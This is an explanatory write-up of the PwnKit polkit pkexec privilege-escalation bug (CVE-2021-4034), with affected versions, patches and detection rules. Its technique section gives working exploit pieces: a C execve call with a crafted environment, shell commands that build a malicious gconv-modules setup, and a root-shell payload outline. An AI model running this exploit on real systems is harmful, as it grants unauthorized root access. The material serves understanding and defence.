PwnKit — polkit pkexec (CVE-2021-4034)
TL;DR:
pkexecreads pastargvintoenvpwhen invoked withargc == 0, letting any local user smuggle a controlled environment variable into a SUID process and load a roguegconvmodule as root.
What it is
Qualys published this in January 2022 after auditing polkit’s pkexec helper. The bug had sat in the source since the binary was introduced in 2009. pkexec iterates argv[1..argc] to find a command, but when argc is zero it reads argv[1] anyway — which on Linux overlaps the first envp entry. It then writes a sanitized path string back through that pointer, corrupting the environment after the SUID binary has already cleared dangerous env vars. By pre-seeding the environment with GCONV_PATH=., the attacker convinces glibc’s character-set conversion machinery to dlopen a shared object the attacker controls — as root.
Preconditions / where it applies
- Any Linux distro shipping
polkit< 0.120 with/usr/bin/pkexecsetuid-root (Ubuntu 14.04+, Debian 8+, RHEL/CentOS 6+, Fedora, SUSE, Arch) - Local unprivileged shell — no network exposure
- Works in default installs; no special groups required
- Patched in polkit 0.120 and distro-backported updates from late January 2022
Technique
The exploit calls execve with argv = NULL and a crafted env, then waits for pkexec to mishandle iconv:
1
2
3
4
5
6
7
8
9
char *const argv[] = { NULL };
char *const envp[] = {
"pwnkit", // becomes argv[0] via overlap
"PATH=GCONV_PATH=.", // gets sanitized into the env
"CHARSET=PWNKIT", // triggers iconv lookup
"SHELL=pwnkit",
NULL
};
execve("/usr/bin/pkexec", argv, envp);
Alongside this you drop a gconv-modules file and a payload .so in a writable directory whose name matches the path pkexec resolves after sanitisation:
1
2
3
4
5
$ mkdir -p "GCONV_PATH=." "pwnkit"
$ cat > "GCONV_PATH=./gconv-modules" <<EOF
module PWNKIT// INTERNAL ../payload 1
EOF
$ gcc -shared -fPIC -o pwnkit/payload.so payload.c
When pkexec calls g_printerr() → glibc iconv to render its own error message, glibc dlopen()s payload.so while still EUID 0. The payload typically setuid(0); execve("/bin/sh", ...).
Detection and defence
- Upgrade polkit to 0.120+ or apply distro patches (USN-5252, DSA-5059, RHSA-2022:0274)
- Stopgap:
chmod 0755 /usr/bin/pkexecremoves the SUID bit and blocks the bug at the cost of breaking polkit-driven privilege prompts - auditd:
-w /usr/bin/pkexec -p x -k pkexecand alert when followed byexecvewithargc == 0, or when pkexec dlopens a path under a user-writable directory - SELinux on RHEL targeted policy denies the dlopen by default in
xguest_tanduser_tsince the policy update - eBPF: hook
sys_execveand flag invocations where the syscall’sargvpointer is NULL but the target is SUID
References
- CVE-2021-4034 — NVD — official record
- Qualys advisory — PwnKit — discoverer’s technical write-up
- polkit upstream commit a04965 — the fix
See also: suid-sgid-binaries, linux-privesc-vectors, ld-preload-abuse.